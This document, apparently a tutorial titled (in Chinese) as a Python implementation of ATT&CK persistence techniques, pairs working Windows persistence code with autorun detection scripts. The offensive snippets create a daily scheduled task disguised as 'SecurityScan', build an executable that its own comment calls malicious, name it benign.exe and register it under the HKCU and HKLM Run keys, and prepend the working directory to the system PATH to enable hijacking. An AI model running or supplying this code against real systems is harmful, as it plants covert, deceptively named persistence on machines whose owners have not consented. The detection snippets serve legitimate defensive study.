Python實作ATTCK永續性技術

import subprocess

def create_scheduled_task(task_name, task_command):
    try:
        # 建立計劃任務的命令
        command = f'schtasks /create /tn {task_name} /tr {task_command} /sc daily /st 08:00'
        output = subprocess.check_output(command, shell=True)
        return output.decode('utf-8')
    except subprocess.CalledProcessError as e:
        return f"建立計劃任務失敗：{e}"

# 建立一個名為"SecurityScan"的計劃任務
task_name = "SecurityScan"
task_command = "C:\\Users\\hepos\\Documents\\TaskScheduler.py"
print(create_scheduled_task(task_name, task_command))

import subprocess

def check_scheduled_tasks():
    try:
        output = subprocess.check_output("schtasks /query /v /fo csv /nh", shell=True)
        output = output.decode('utf-8').split("\r\n")
        tasks = [o.split(',') for o in output]
        for task in tasks:
            if len(task) > 8:
                name = task[1].strip('"')
                creator = task[7].strip('"')
                command = task[8].strip('"')
                print(f"任務名稱：{name}, 建立者：{creator}, 命令：{command}")
    except subprocess.CalledProcessError as e:
        print(f"查詢計劃任務失敗：{e}")

check_scheduled_tasks()

import os, shutil, winreg

# 設定檔案路徑
filedir = os.path.join(os.getcwd(), "Temp")
filename = "benign.exe"
filepath = os.path.join(filedir, filename)

# 清除舊檔案
if os.path.isfile(filepath):
    os.remove(filepath)

# 建立惡意可執行檔
os.system("python BuildExe.py")

# 移動可執行檔到指定目錄
shutil.move(filename, filedir)

# 設定登入檔自動啟動鍵值
reghive = winreg.HKEY_CURRENT_USER
regpath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
key = winreg.OpenKey(reghive, regpath, 0, access=winreg.KEY_WRITE)
winreg.SetValueEx(key, "SecurityScan", 0, winreg.REG_SZ, filepath)

import winreg

def detect_autorun():
    reghive = winreg.HKEY_CURRENT_USER
    regpath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
    try:
        key = winreg.OpenKey(reghive, regpath, 0, access=winreg.KEY_READ)
        num_values = winreg.QueryInfoKey(key)[1]
        for i in range(num_values):
            value_name, value_data, _ = winreg.EnumValue(key, i)
            print(f"Name: {value_name}, Path: {value_data}")
    except Exception as e:
        print(f"Error: {e}")

detect_autorun()

import winreg

# 設定登入檔的Hive和路徑
reghive = winreg.HKEY_LOCAL_MACHINE
regpath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"

# 開啟登入檔鍵值
key = winreg.OpenKey(reghive, regpath, 0, access=winreg.KEY_WRITE)

# 設定自動執行鍵值
winreg.SetValueEx(key, "SecurityScan", 0, winreg.REG_SZ, "C:\\Path\\To\\Executable.exe")

import winreg

def checkRegAutorun(hive, path):
    autoruns = []
    try:
        key = winreg.OpenKey(hive, path)
        numValues = winreg.QueryInfoKey(key)[1]
    except:
        return []
    
    for i in range(numValues):
        try:
            [name, data, _] = winreg.EnumValue(key, i)
        except:
            continue
        if len(name) > 0:
            autoruns.append([name, data])
    return autoruns

def printResults(hive, path, autoruns):
    print("在 %s\\%s 中偵測到的自動執行項" % (hive, path))
    for autorun in autoruns:
        print("\t%s: %s" % (autorun[0], autorun[1]))
    print()

# 設定要檢查的Hive和路徑
hives = {
    "HKCU": winreg.HKEY_CURRENT_USER,
    "HKLM": winreg.HKEY_LOCAL_MACHINE
}
paths = ["SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
         "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"]

def checkAutoruns():
    for hive in hives:
        for path in paths:
            autoruns = checkRegAutorun(hives[hive], path)
            if autoruns:
                printResults(hive, path, autoruns)

checkAutoruns()

import winreg

def checkRegAutoruns(reghive, regpath):
    reg = winreg.ConnectRegistry(None, reghive)
    key = winreg.OpenKey(reg, regpath, access=winreg.KEY_READ)
    index = 0
    autoruns = []
    while True:
        try:
            val = winreg.EnumValue(key, index)
            autoruns.append((val[0], val[1]))
            index += 1
        except OSError:
            break
    return autoruns

# 搜尋 HKU 組態單元中的自動執行鍵
hku_hive = winreg.HKEY_USERS
num_subkeys = winreg.QueryInfoKey(winreg.HKEY_USERS)[0]
for i in range(num_subkeys):
    sid = winreg.EnumKey(hku_hive, i)
    regpath = f"{sid}\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
    autoruns = checkRegAutoruns(hku_hive, regpath)
    for autorun in autoruns:
        print(f"自動執行專案：{autorun[0]} - {autorun[1]}")

import os
import winreg

def readPathValue(reghive, regpath):
    reg = winreg.ConnectRegistry(None, reghive)
    key = winreg.OpenKey(reg, regpath, access=winreg.KEY_READ)
    index = 0
    while True:
        try:
            val = winreg.EnumValue(key, index)
            if val[0] == "Path":
                return val[1]
            index += 1
        except OSError:
            break

def editPathValue(reghive, regpath, targetdir):
    path = readPathValue(reghive, regpath)
    if targetdir in path:
        return
    newpath = targetdir + ";" + path
    reg = winreg.ConnectRegistry(None, reghive)
    key = winreg.OpenKey(reg, regpath, access=winreg.KEY_SET_VALUE)
    winreg.SetValueEx(key, "Path", 0, winreg.REG_EXPAND_SZ, newpath)

# 修改 SYSTEM 路徑
reghive = winreg.HKEY_LOCAL_MACHINE
regpath = "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment"
targetdir = os.getcwd()
editPathValue(reghive, regpath, targetdir)